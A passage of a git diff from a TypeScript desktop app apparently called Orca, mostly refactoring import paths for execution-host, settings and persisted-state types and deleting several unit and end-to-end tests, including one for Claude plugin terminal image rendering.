synthetic local workspace; persistence pruning must classify it without the repo catalog. +export const FLOATING_TERMINAL_WORKTREE_ID = 'global-floating-terminal' diff --git a/src/shared/workspace/identity/floating-workspace-worktree.ts b/src/shared/workspace/identity/floating-workspace-worktree.ts index f3c02dfb2e2..f76c288577a 100644 --- a/src/shared/workspace/identity/floating-workspace-worktree.ts +++ b/src/shared/workspace/identity/floating-workspace-worktree.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from './floating-workspace-id' import type { Worktree } from '../../worktree/types' /** Floating workspaces have no repo/worktree/folder row; synthesize a Worktree for filesystem resolution. diff --git a/src/shared/workspace/lifecycle/workspace-sleep.ts b/src/shared/workspace/lifecycle/workspace-sleep.ts index df9eebda34b..88d79ed9095 100644 --- a/src/shared/workspace/lifecycle/workspace-sleep.ts +++ b/src/shared/workspace/lifecycle/workspace-sleep.ts @@ -2,7 +2,7 @@ import { hasSleptAgentToWake, type SleepingAgentSessionRecord } from '../../agent-session/lifecycle/agent-session-resume' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' /** A host that runs part of a workspace: this desktop's main, or a paired server. */ export type WorkspaceSleepHost = { kind: 'self' } | { kind: 'environment'; environmentId: string } diff --git a/src/shared/workspace/naming/workspace-name.ts b/src/shared/workspace/naming/workspace-name.ts index 340756582be..d9fa00b53c4 100644 --- a/src/shared/workspace/naming/workspace-name.ts +++ b/src/shared/workspace/naming/workspace-name.ts @@ -3,7 +3,7 @@ import { foldWorkspaceNameWhitespaceToHyphen } from './workspace-name-text-scanner' import { escapeRegex } from '../../text/regex-escaping' -import type { JiraIssueKeyCasing } from '../../ui-chrome-types' +import type { JiraIssueKeyCasing } from '../../ui-chrome/ui-chrome-types' import { JIRA_ISSUE_KEY_PATTERN } from '../../jira/jira-issue-url' function normalizeApostrophes(input: string): string { diff --git a/src/shared/worktree/catalog/detected-worktree-provider-contract.ts b/src/shared/worktree/catalog/detected-worktree-provider-contract.ts index fabbd89e304..af61fe0c494 100644 --- a/src/shared/worktree/catalog/detected-worktree-provider-contract.ts +++ b/src/shared/worktree/catalog/detected-worktree-provider-contract.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import type { ExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' import type { DirectSshAuthority } from '../../remote-runtime/ssh/ssh-types' import type { DetectedWorktreeListResult } from '../types' diff --git a/src/shared/worktree/create-types.ts b/src/shared/worktree/create-types.ts index fcb5e803780..080cf0e31e0 100644 --- a/src/shared/worktree/create-types.ts +++ b/src/shared/worktree/create-types.ts @@ -1,5 +1,5 @@ import type { WorktreeCatalogVersion } from './catalog/catalog-version' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { ArchiveHookOverride } from './removal/archive-hook-removal-gate' import type { WorkspaceSource } from '../workspace/creation/workspace-source' import type { TaskSourceContext } from '../work-items/task-source-context' diff --git a/src/shared/worktree/host-qualified-identity.test.ts b/src/shared/worktree/host-qualified-identity.test.ts deleted file mode 100644 index 4bd26eef23d..00000000000 --- a/src/shared/worktree/host-qualified-identity.test.ts +++ /dev/null @@ -1,30 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { toRuntimeExecutionHostId, toSshExecutionHostId } from '../execution-host' -import { - composeWorktreeHostIdentity, - getExecutionHostIdFromWorktreeHostIdentity, - getWorktreeHostIdentity, - getWorktreeIdFromHostIdentity -} from './host-qualified-identity' - -// Persisted identity aliases and recency keys freeze these bytes (D25). -describe('worktree host identity golden bytes', () => { - it.each([ - ['local', 'repo::/p', 'local|repo::/p'], - [undefined, 'repo::/p', '|repo::/p'], - [ - toSshExecutionHostId('deploy@10.0.0.4:2222'), - 'repo::/p', - 'ssh:deploy%4010.0.0.4%3A2222|repo::/p' - ], - [toSshExecutionHostId('we|rd'), 'repo::/p', 'ssh:we%7Crd|repo::/p'], - [toRuntimeExecutionHostId('env 1/a'), 'repo::/p', 'runtime:env%201%2Fa|repo::/p'], - ['local', 'repo::/work/a|b', 'local|repo::/work/a|b'] - ] as const)('composes %s + %s as %s', (hostId, worktreeId, expected) => { - const key = composeWorktreeHostIdentity(hostId, worktreeId) - expect(key).toBe(expected) - expect(getWorktreeHostIdentity({ id: worktreeId, hostId })).toBe(expected) - expect(getWorktreeIdFromHostIdentity(key)).toBe(worktreeId) - expect(getExecutionHostIdFromWorktreeHostIdentity(key)).toBe(hostId) - }) -}) diff --git a/src/shared/worktree/host-qualified-identity.ts b/src/shared/worktree/host-qualified-identity.ts index 77529f077ce..85664a14fb5 100644 --- a/src/shared/worktree/host-qualified-identity.ts +++ b/src/shared/worktree/host-qualified-identity.ts @@ -3,7 +3,7 @@ import { normalizeHostPart, parseExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' import type { Worktree } from './types' /** Use a printable separator: HTML replaces NUL in DOM attributes. Host IDs encode | as %7C, so host-first splitting stays exact even when workspace IDs contain |. */ diff --git a/src/shared/worktree/identity.ts b/src/shared/worktree/identity.ts index b12c072c5a0..2d0f009bf89 100644 --- a/src/shared/worktree/identity.ts +++ b/src/shared/worktree/identity.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' /** Stable fields needed to identify one checkout occupant. */ export type WorktreeIdentityRef = { diff --git a/src/shared/worktree/lineage/cross-store-lineage-move-refusal.ts b/src/shared/worktree/lineage/cross-store-lineage-move-refusal.ts index 1257e7221ce..2eedd4f9735 100644 --- a/src/shared/worktree/lineage/cross-store-lineage-move-refusal.ts +++ b/src/shared/worktree/lineage/cross-store-lineage-move-refusal.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../persisted-state-types' +import type { PersistedState } from '../../orca-profiles/persisted-state-types' import { normalizeWorkspaceSessionKeyToWorkspaceId, parseWorkspaceKey diff --git a/src/shared/worktree/lineage/cross-store-lineage-resolution.test.ts b/src/shared/worktree/lineage/cross-store-lineage-resolution.test.ts index 39afa91f6e2..c22edb769f2 100644 --- a/src/shared/worktree/lineage/cross-store-lineage-resolution.test.ts +++ b/src/shared/worktree/lineage/cross-store-lineage-resolution.test.ts @@ -1,5 +1,8 @@ import { describe, expect, it } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId } from '../../execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + toRuntimeExecutionHostId +} from '../../execution-host/execution-host' import { getWorktreeHostIdentity } from '../host-qualified-identity' import { diff --git a/src/shared/worktree/lineage/cross-store-lineage-resolution.ts b/src/shared/worktree/lineage/cross-store-lineage-resolution.ts index 1c1c6dde045..149c0680cd4 100644 --- a/src/shared/worktree/lineage/cross-store-lineage-resolution.ts +++ b/src/shared/worktree/lineage/cross-store-lineage-resolution.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' import { isRuntimeHostContactRevoked, lastVerifiedRuntimeStatus, diff --git a/src/shared/worktree/meta-types.ts b/src/shared/worktree/meta-types.ts index c3747f9d300..513ee3d76f8 100644 --- a/src/shared/worktree/meta-types.ts +++ b/src/shared/worktree/meta-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { TaskSourceContext } from '../work-items/task-source-context' import type { EphemeralVmCheckoutMode } from '../workspace-setup/orca-yaml-hook-types' import type { diff --git a/src/shared/worktree/metadata/local-only-worktree-meta-ids.ts b/src/shared/worktree/metadata/local-only-worktree-meta-ids.ts index 70527b4d583..7ae8391f556 100644 --- a/src/shared/worktree/metadata/local-only-worktree-meta-ids.ts +++ b/src/shared/worktree/metadata/local-only-worktree-meta-ids.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../execution-host/execution-host' import { isEphemeralSetupTerminalWorktreeId } from '../../workspace-setup/ephemeral-setup-terminal-worktree-id' import { isFloatingWorkspaceId } from '../../workspace/identity/floating-workspace-worktree' diff --git a/src/shared/worktree/metadata/workspace-metadata-set.ts b/src/shared/worktree/metadata/workspace-metadata-set.ts index 70160d36f57..a5b5b4fd5bf 100644 --- a/src/shared/worktree/metadata/workspace-metadata-set.ts +++ b/src/shared/worktree/metadata/workspace-metadata-set.ts @@ -1,4 +1,4 @@ -import { normalizeExecutionHostId, type ExecutionHostId } from '../../execution-host' +import { normalizeExecutionHostId, type ExecutionHostId } from '../../execution-host/execution-host' import { normalizeStoredTaskSourceContext } from '../../work-items/task-source-context' import { normalizeWorkspaceAttachments } from '../../workspace-attachments/workspace-attachment-normalization' import { normalizeWorkspaceLinkedItem } from '../../workspace-attachments/workspace-linked-item' diff --git a/src/shared/worktree/removal/removal.ts b/src/shared/worktree/removal/removal.ts index 15395b49810..e843575fc8f 100644 --- a/src/shared/worktree/removal/removal.ts +++ b/src/shared/worktree/removal/removal.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { GitWorktreeInfo, Worktree } from '../types' export function unregisteredFolderRefusal(worktreePath: string): Error { diff --git a/src/shared/worktree/row-display/card-properties.ts b/src/shared/worktree/row-display/card-properties.ts index 6b859ab208b..3f33d1e4cfa 100644 --- a/src/shared/worktree/row-display/card-properties.ts +++ b/src/shared/worktree/row-display/card-properties.ts @@ -1,6 +1,6 @@ -import type { GlobalSettings } from '../../global-settings-types' -import type { PersistedUIState } from '../../persisted-ui-state-types' -import type { WorktreeCardMode, WorktreeCardProperty } from '../../ui-chrome-types' +import type { GlobalSettings } from '../../settings/global-settings-types' +import type { PersistedUIState } from '../../orca-profiles/persisted-ui-state-types' +import type { WorktreeCardMode, WorktreeCardProperty } from '../../ui-chrome/ui-chrome-types' const FIXED_WORKTREE_CARD_PROPERTIES: WorktreeCardProperty[] = ['status', 'unread'] diff --git a/src/shared/worktree/row-display/host-context-labels.ts b/src/shared/worktree/row-display/host-context-labels.ts index 6058f4f2474..4718ba04d73 100644 --- a/src/shared/worktree/row-display/host-context-labels.ts +++ b/src/shared/worktree/row-display/host-context-labels.ts @@ -5,8 +5,8 @@ import { isLocalExecutionHost, toSshExecutionHostId, type ExecutionHostId -} from '../../execution-host' -import type { GlobalSettings } from '../../global-settings-types' +} from '../../execution-host/execution-host' +import type { GlobalSettings } from '../../settings/global-settings-types' import { getHostDisplayLabelOverrides } from '../../execution-host/host-setting-overrides' export type HostContextLabelSources = { diff --git a/src/shared/worktree/types.ts b/src/shared/worktree/types.ts index f4dd6350218..6fce710f69f 100644 --- a/src/shared/worktree/types.ts +++ b/src/shared/worktree/types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { WorktreeCatalogVersion } from './catalog/catalog-version' import type { AutomationExecutionTargetType } from '../automations/automation-definition' import type { TaskSourceContext } from '../work-items/task-source-context' diff --git a/src/shared/worktree/visibility/ownership-configured-base-visibility.test.ts b/src/shared/worktree/visibility/ownership-configured-base-visibility.test.ts index 4078bf823e8..b2cb6e40403 100644 --- a/src/shared/worktree/visibility/ownership-configured-base-visibility.test.ts +++ b/src/shared/worktree/visibility/ownership-configured-base-visibility.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { Repo } from '../../repository/repo-types' import type { Worktree } from '../types' import { resolveConfiguredWorktreeBasePaths } from '../paths/configured-worktree-base-path' diff --git a/src/shared/worktree/visibility/ownership.test.ts b/src/shared/worktree/visibility/ownership.test.ts index cd9bf3227d4..64ac6055b0a 100644 --- a/src/shared/worktree/visibility/ownership.test.ts +++ b/src/shared/worktree/visibility/ownership.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { Repo } from '../../repository/repo-types' import type { WorktreeMeta } from '../meta-types' import type { Worktree } from '../types' @@ -217,21 +217,4 @@ describe('agent scratch worktrees', () => { ownership: 'unknown-legacy' }) }) - - it('preserves an explicit scratch import in the metadata fallback', () => { - const repo = makeRepo({ - externalWorktreeVisibility: 'hide', - importedExternalWorktreePaths: [scratchPath] - }) - const settings = makeSettings() - const scratch = toDetectedWorktree({ - repo, - settings, - worktree: makeWorktree({ path: scratchPath, isMainWorktree: false }), - knownOrcaLayouts: buildKnownOrcaWorkspaceLayouts(settings, repo) - }) - - expect(scratch).toMatchObject({ ownership: 'agent-scratch', visible: true }) - expect(applyMetadataFallbackVisibility(scratch)).toBe(scratch) - }) }) diff --git a/src/shared/worktree/visibility/ownership.ts b/src/shared/worktree/visibility/ownership.ts index 0cd8dece48f..ef706ed26cf 100644 --- a/src/shared/worktree/visibility/ownership.ts +++ b/src/shared/worktree/visibility/ownership.ts @@ -19,7 +19,7 @@ import { } from './visibility-sources' import { isLegacyRepoForExternalWorktreeVisibility } from './external-worktree-visibility' import { shouldShowWorktree } from './worktree-visibility-resolution' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { OrcaWorkspaceLayout } from '../paths/orca-workspace-layout' import type { Repo } from '../../repository/repo-types' import type { WorktreeMeta } from '../meta-types' diff --git a/src/shared/worktree/visibility/worktree-visibility-resolution.ts b/src/shared/worktree/visibility/worktree-visibility-resolution.ts index 011aa854890..f5fe904a0bb 100644 --- a/src/shared/worktree/visibility/worktree-visibility-resolution.ts +++ b/src/shared/worktree/visibility/worktree-visibility-resolution.ts @@ -7,7 +7,7 @@ import { effectiveWorktreeSourceVisibility, type WorktreeVisibilitySourceMatcher } from './visibility-sources' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { Repo } from '../../repository/repo-types' import type { Worktree, WorktreeOwnership } from '../types' diff --git a/src/shared/wsl-move/wsl-drive-unc-renderer-store-keys.ts b/src/shared/wsl-move/wsl-drive-unc-renderer-store-keys.ts index 8450f6ef7a8..41c30c8b3b8 100644 --- a/src/shared/wsl-move/wsl-drive-unc-renderer-store-keys.ts +++ b/src/shared/wsl-move/wsl-drive-unc-renderer-store-keys.ts @@ -4,7 +4,7 @@ * (renderer/src/lib/wsl-move-renderer-store-keys.ts), but the project stays on this computer. */ import { normalizeRuntimePathForComparison } from '../file-access/cross-platform-path' -import { LOCAL_EXECUTION_HOST_ID } from '../execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../execution-host/execution-host' import type { PythonEnvironment } from '../editor/notebooks/notebook-kernel-types' import { wslUncDrivePathToWindows } from '../file-access/wsl-paths' diff --git a/src/shared/wsl-move/wsl-drive-unc-state-dispositions.ts b/src/shared/wsl-move/wsl-drive-unc-state-dispositions.ts index 61efcee8793..394d2cea14f 100644 --- a/src/shared/wsl-move/wsl-drive-unc-state-dispositions.ts +++ b/src/shared/wsl-move/wsl-drive-unc-state-dispositions.ts @@ -2,7 +2,7 @@ * What converting a UNC Windows-drive project to its drive path (D1c) does with each saved field; * src/main/wsl/filesystem/wsl-drive-unc-state-rewrite.ts applies it. */ -import type { PersistedState } from '../persisted-state-types' +import type { PersistedState } from '../orca-profiles/persisted-state-types' type Disposition = /** Every identity string in it is re-keyed. */ diff --git a/src/shared/wsl-move/wsl-move-dispositions.ts b/src/shared/wsl-move/wsl-move-dispositions.ts index c9ae238d12b..c83e4af1707 100644 --- a/src/shared/wsl-move/wsl-move-dispositions.ts +++ b/src/shared/wsl-move/wsl-move-dispositions.ts @@ -1,6 +1,6 @@ /** Exhaustive state dispositions for local WSL project moves. Typed stores are compile-checked; tests census localStorage/SQLite. Sibling tables cover UI, storage and out-of-store state. * Item numbers refer to docs/design/wsl-via-orcad-lossless-mover.md §2. */ -import type { PersistedState } from '../persisted-state-types' +import type { PersistedState } from '../orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../workspace-session/workspace-session-state-types' export type WslMoveDisposition = diff --git a/src/shared/wsl-move/wsl-move-storage-dispositions.ts b/src/shared/wsl-move/wsl-move-storage-dispositions.ts index 836e75eb160..74061da42ed 100644 --- a/src/shared/wsl-move/wsl-move-storage-dispositions.ts +++ b/src/shared/wsl-move/wsl-move-storage-dispositions.ts @@ -96,7 +96,7 @@ export const LOCAL_STORAGE_MODULE_DISPOSITIONS: Record [ path, notApplicableDisposition(62, 'Global preference or web-client storage.') diff --git a/src/shared/wsl-move/wsl-move-ui-dispositions.ts b/src/shared/wsl-move/wsl-move-ui-dispositions.ts index 2f10ab063f8..c8590274c77 100644 --- a/src/shared/wsl-move/wsl-move-ui-dispositions.ts +++ b/src/shared/wsl-move/wsl-move-ui-dispositions.ts @@ -1,5 +1,5 @@ -import type { GlobalSettings } from '../global-settings-types' -import type { PersistedUIState } from '../persisted-ui-state-types' +import type { GlobalSettings } from '../settings/global-settings-types' +import type { PersistedUIState } from '../orca-profiles/persisted-ui-state-types' import { moveDisposition, notApplicableDisposition, diff --git a/tests/e2e/browser-floating-shortcut-scope.spec.ts b/tests/e2e/browser-floating-shortcut-scope.spec.ts index 3e86d70258f..b2015994191 100644 --- a/tests/e2e/browser-floating-shortcut-scope.spec.ts +++ b/tests/e2e/browser-floating-shortcut-scope.spec.ts @@ -21,7 +21,7 @@ import { } from './helpers/browser-split-guest-probes' import { startBrowserSplitPageServer } from './helpers/browser-split-page-server' -// Why: mirrors FLOATING_TERMINAL_WORKTREE_ID in src/shared/constants.ts. +// Why: mirrors FLOATING_TERMINAL_WORKTREE_ID in src/shared/workspace/identity/floating-workspace-id.ts. const FLOATING_WORKTREE_ID = 'global-floating-terminal' const FLOATING_PANEL = '[data-floating-terminal-panel]' const isMac = process.platform === 'darwin' diff --git a/tests/e2e/claude-plugin-terminal-images.spec.ts b/tests/e2e/claude-plugin-terminal-images.spec.ts deleted file mode 100644 index 6b031746bc8..00000000000 --- a/tests/e2e/claude-plugin-terminal-images.spec.ts +++ /dev/null @@ -1,196 +0,0 @@ -import { readFileSync } from 'node:fs' -import { PNG } from 'pngjs' -import { resolveClaudeCommand } from '../../src/shared/shell/command-resolution/node-cli-command-resolution' -import { createClaudePluginImageFixture } from './helpers/claude-plugin-image-fixture' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { execInTerminal, sendToTerminal, waitForActiveTerminalManager } from './helpers/terminal' -import { enableInlineImages } from './helpers/terminal-inline-image-proof' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../src/shared/constants' -import { nodeTerminalCommand } from './terminal-node-command' - -const enabled = process.env.ORCA_REAL_CLAUDE_PLUGIN_TEST === '1' -const command = process.env.ORCA_REAL_CLAUDE_COMMAND || resolveClaudeCommand() - -test.use({ - launchEnv: { ORCA_BACKGROUND_LAUNCH: '1' }, - orcaAppExtraArgs: ['--force-color-profile=srgb'] -}) -test.skip(!enabled, 'Set ORCA_REAL_CLAUDE_PLUGIN_TEST=1 to run the installed Claude UI') - -for (const acceleration of ['off', 'on'] as const) { - for (const surface of ['bare', 'workspace', 'floating'] as const) { - const managed = surface !== 'bare' - const floating = surface === 'floating' - test(`@headful ${acceleration}: real Claude plugin ${managed ? `${surface} managed launch renders bytes and host files` : 'reports unsupported automatic detection'}`, async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await ensureTerminalVisible(orcaPage) - await orcaPage.evaluate(async (policy) => { - await window.__store!.getState().updateSettings({ terminalGpuAcceleration: policy }) - }, acceleration) - await waitForActiveTerminalManager(orcaPage) - await enableInlineImages(orcaPage) - const { launcher, gateReceipt, cleanup } = createClaudePluginImageFixture( - testInfo.outputPath('claude'), - command, - managed ? 'managed' : false - ) - let tabId = await orcaPage.evaluate(() => window.__store!.getState().activeTabId) - if (managed) { - tabId = await orcaPage.evaluate( - ({ startupCommand, floatingWorktreeId }) => { - const store = window.__store! - const state = store.getState() - const worktreeId = floatingWorktreeId ?? state.activeWorktreeId - if (!worktreeId) { - throw new Error('Missing managed Claude workspace') - } - const tab = state.createTab(worktreeId, undefined, undefined, { - launchAgent: 'claude', - pendingStartup: { command: startupCommand, launchAgent: 'claude' } - }) - state.activateTab(tab.id) - return tab.id - }, - { - startupCommand: nodeTerminalCommand([launcher]), - floatingWorktreeId: floating ? FLOATING_TERMINAL_WORKTREE_ID : null - } - ) - } - if (floating) { - await orcaPage.evaluate(async () => { - await window.__store!.getState().updateSettings({ floatingTerminalEnabled: true }) - }) - await expect(orcaPage.locator('[data-floating-terminal-panel]')).toBeAttached() - await orcaPage.evaluate(() => - window.dispatchEvent(new Event('orca-toggle-floating-terminal')) - ) - await expect(orcaPage.locator('[data-floating-terminal-panel]')).toBeVisible() - } - await expect - .poll(() => - orcaPage.evaluate( - (id) => id && window.__paneManagers?.get(id)?.getActivePane()?.container.dataset.ptyId, - tabId - ) - ) - .toBeTruthy() - const ptyId = await orcaPage.evaluate( - (id) => id && window.__paneManagers?.get(id)?.getActivePane()?.container.dataset.ptyId, - tabId - ) - if (!ptyId) { - throw new Error('Missing Claude test terminal') - } - const waitForOutput = async (text: string, timeout = 15_000) => { - await expect - .poll( - () => - orcaPage.evaluate((id) => { - const manager = id ? window.__paneManagers?.get(id) : undefined - const pane = manager?.getActivePane() - return pane?.serializeAddon?.serialize() ?? '' - }, tabId), - { timeout } - ) - .toContain(text) - } - try { - if (!managed) { - await execInTerminal(orcaPage, ptyId, nodeTerminalCommand([launcher])) - } - await expect - .poll(() => - orcaPage.evaluate((tabId) => { - const manager = tabId && window.__paneManagers?.get(tabId) - const pane = manager && manager.getActivePane() - return Boolean(manager && pane && manager.hasWebglRenderer(pane.id)) - }, tabId) - ) - .toBe(acceleration === 'on') - await waitForOutput('IMAGE_ACCEPTANCE_bytes', 30_000) - expect(JSON.parse(readFileSync(gateReceipt, 'utf8'))).toEqual({ - flag: managed ? '1' : null - }) - const screen = orcaPage - .locator( - floating - ? '[data-floating-terminal-panel] .pane:visible .xterm-screen' - : '.pane:visible .xterm-screen' - ) - .first() - const colors = async (name: string) => { - const notice = orcaPage.getByRole('status', { - name: 'Usage display is now compact', - exact: true - }) - if (await notice.isVisible()) { - await notice.getByRole('button', { name: 'Got it', exact: true }).click() - } - const png = PNG.sync.read(await screen.screenshot({ path: testInfo.outputPath(name) })) - const counts = { red: 0, blue: 0, green: 0, yellow: 0 } - for (let i = 0; i < png.data.length; i += 4) { - const [r, g, b] = png.data.subarray(i, i + 3) - if (r > 220 && g < 60 && b < 60) { - counts.red++ - } - if (r < 60 && g > 60 && g < 100 && b > 220) { - counts.blue++ - } - if (r < 60 && g > 220 && b < 60) { - counts.green++ - } - if (r > 220 && g > 180 && g < 220 && b < 60) { - counts.yellow++ - } - } - return counts - } - if (!managed) { - await waitForOutput('SYNTHETIC_IMAGE_FALLBACK') - expect(await colors('automatic-fallback.png')).toEqual({ - red: 0, - blue: 0, - green: 0, - yellow: 0 - }) - return - } - await expect - .poll( - async () => { - const count = await colors('direct-bytes.png') - return count.red > 1000 && count.blue > 1000 - }, - { timeout: 15_000 } - ) - .toBe(true) - await sendToTerminal(orcaPage, ptyId, '/image-acceptance file\r') - await waitForOutput('IMAGE_ACCEPTANCE_STAGE_file') - await expect - .poll( - async () => { - const count = await colors('host-file.png') - return count.green > 1000 && count.yellow > 1000 && count.red < 50 && count.blue < 50 - }, - { timeout: 15_000 } - ) - .toBe(true) - await sendToTerminal(orcaPage, ptyId, '/image-acceptance clear\r') - await waitForOutput('IMAGE_ACCEPTANCE_STAGE_clear') - await expect - .poll(() => colors('cleared.png'), { timeout: 15_000 }) - .toEqual({ red: 0, blue: 0, green: 0, yellow: 0 }) - } finally { - try { - await orcaPage.evaluate((id) => window.api.pty.kill(id), ptyId) - } finally { - cleanup() - } - } - }) - } -} diff --git a/tests/e2e/cross-version-wire/paired-agent-session-option-persistence.unit.test.ts b/tests/e2e/cross-version-wire/paired-agent-session-option-persistence.unit.test.ts deleted file mode 100644 index 492b262f85e..00000000000 --- a/tests/e2e/cross-version-wire/paired-agent-session-option-persistence.unit.test.ts +++ /dev/null @@ -1,276 +0,0 @@ -import { afterEach, expect, it, vi } from 'vitest' -import { sendRemoteRuntimeRequestOnSocket } from '../../../src/shared/remote-runtime/requests/remote-runtime-request-socket' -import { parsePairingCode } from '../../../src/shared/remote-runtime/pairing/pairing' -import { pairedRuntimeConnectionFromOffer } from '../../../src/shared/remote-runtime/pairing/paired-runtime-connection' -import { ELECTRON_REMOTE_RUNTIME_CLIENT_CAPABILITIES } from '../../../src/shared/remote-runtime/protocol/electron-remote-runtime-client-capabilities' -import { OrcaRuntimeService } from '../../../src/main/runtime/orca-runtime' -import { OrcaRuntimeRpcServer } from '../../../src/main/runtime/rpc/server/runtime-rpc' -import { RuntimeClientSettingsController } from '../../../src/main/runtime/client/settings/runtime-client-settings' -import type { RuntimeClientSettings } from '../../../src/main/runtime/client/settings/runtime-client-settings-shape' -import { AgentModelCatalogStore } from '../../../src/main/native-chat/agent-model-catalog/agent-model-catalog-store' -import { createAgentModelCatalogService } from '../../../src/main/native-chat/agent-model-catalog/agent-model-catalog-service' -import { agentModelCatalogFingerprintForRecord } from '../../../src/main/native-chat/agent-model-catalog/agent-model-catalog-fingerprint' -import { CLIENT_UI_METHODS } from '../../../src/main/runtime/rpc/methods/client-state/client-ui' -import { STATUS_METHODS } from '../../../src/main/runtime/rpc/methods/host-management/status' -import { STRUCTURED_AGENT_SESSION_METHODS } from '../../../src/main/runtime/rpc/methods/structured-sessions/structured-agent-session' -import { createRestTestRig } from '../../../src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-rest-test-rig.test-fixture' - -import { - HOST_TEST_SESSION as REST_TEST_SESSION, - hostTestAttachParams, - hostTestOperationId -} from '../../../src/main/native-chat/agent-session-wire/host/testing/structured-agent-session-host-test-data.test-fixture' - -import { setStructuredAgentSessionHost } from '../../../src/main/native-chat/agent-session-wire/host/structured-agent-session-registry' -import { computeAgentSessionPayloadFingerprint } from '../../../src/shared/agent-session/lifecycle/operations/agent-session-mutation-envelope' -import type { GlobalSettings } from '../../../src/shared/global-settings-types' -import { getDefaultSettings } from '../../../src/shared/constants' -import type { - AgentSessionMutationResult, - AgentSessionOptionResult -} from '../../../src/shared/agent-session/agent-session-wire' -import type { AgentSessionOptionsResult } from '../../../src/shared/agent-session/options/protocol/agent-session-options-result' -import { CODEX_SESSION_OPTION_CATALOG } from '../../../src/shared/agent-session/options/catalog-providers/agent-session-option-catalog-claude-codex' -import { - applyStructuredAgentSessionOptions, - createStructuredAgentSessionOptionState, - structuredAgentSessionOptionPicks -} from '../../../src/shared/agent-session/options/structured-agent-session-options' -import { structuredAgentSessionOptionSnapshot } from '../../../src/shared/agent-session/options/view/structured-agent-session-option-snapshot' -import { - structuredAgentSessionOptionView, - structuredAgentSessionSendSelection -} from '../../../src/shared/agent-session/options/view/structured-agent-session-option-view' -import { runtimeStub } from './structured-agent-session-surface-execution' -import { enqueueSessionOptionSettingsWrite } from '../../../src/renderer/src/components/native-chat/session/options/native-chat-session-option-settings-write' -import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../../src/renderer/src/runtime/rpc/compatibility/runtime-compatibility-cache' -import type { NativeChatSessionOptionSettingsMutation } from '../../../src/shared/native-chat/input/native-chat-session-options' - -const pairedPort = vi.hoisted(() => ({ call: vi.fn() })) -vi.mock('../../../src/renderer/src/runtime/rpc/calls/runtime-rpc-environment-call', () => ({ - callRuntimeEnvironmentWithRevision: pairedPort.call -})) -afterEach(() => { - vi.unstubAllGlobals() - clearRuntimeCompatibilityCacheForTests() -}) - -it('pairs to host-owned options and persists only a genuine pick on that host', async () => { - const rig = await createRestTestRig({ idleSweep: { intervalMs: 3_600_000 } }) - rig.adapter.readOptions.mockResolvedValue({ models: [], current: {} }) - const catalogStore = new AgentModelCatalogStore() - const modelCatalog = createAgentModelCatalogService({ - store: catalogStore, - getConversation: (id) => rig.store.getConversation(id) ?? undefined, - getRecord: (id) => rig.store.getRecord(id) ?? undefined, - drivesRecord: () => true, - resolveAccountHome: async () => { - const record = rig.store.getRecord(REST_TEST_SESSION) - if (!record) { - throw new Error('attached host record missing') - } - return record.accountHome - } - }) - let settings = { ...getDefaultSettings(rig.root), experimentalNativeChat: true } - let localSettings: GlobalSettings = { - ...getDefaultSettings(rig.root), - nativeChatSessionOptions: { codex: { model: 'local-A', valuesByModel: {} } } - } - const localBefore = JSON.stringify(localSettings) - const localController = new RuntimeClientSettingsController({ - getSettings: () => localSettings, - updateSettings: (updates) => { - localSettings = { ...localSettings, ...updates } - } - }) - const localCall = vi.fn( - async ({ - method, - params - }: { - method: string - params: NativeChatSessionOptionSettingsMutation - }) => { - if (method === 'settings.mutateNativeChatSessionOptions') { - localController.updateNativeChatSessionOptions(params) - } - return { id: 'local', ok: true, result: {}, _meta: { runtimeId: 'local-A' } } - } - ) - vi.stubGlobal('window', { api: { runtime: { call: localCall } } }) - const updateSettings = vi.fn((updates: Partial) => { - settings = { ...settings, ...updates } - }) - const controller = new RuntimeClientSettingsController({ - getSettings: () => settings, - updateSettings - }) - const runtime = Object.assign(new OrcaRuntimeService(), runtimeStub(), { - getClientSettings: () => controller.get(), - updateClientNativeChatSessionOptions: controller.updateNativeChatSessionOptions.bind(controller) - }) - const server = new OrcaRuntimeRpcServer({ - runtime, - 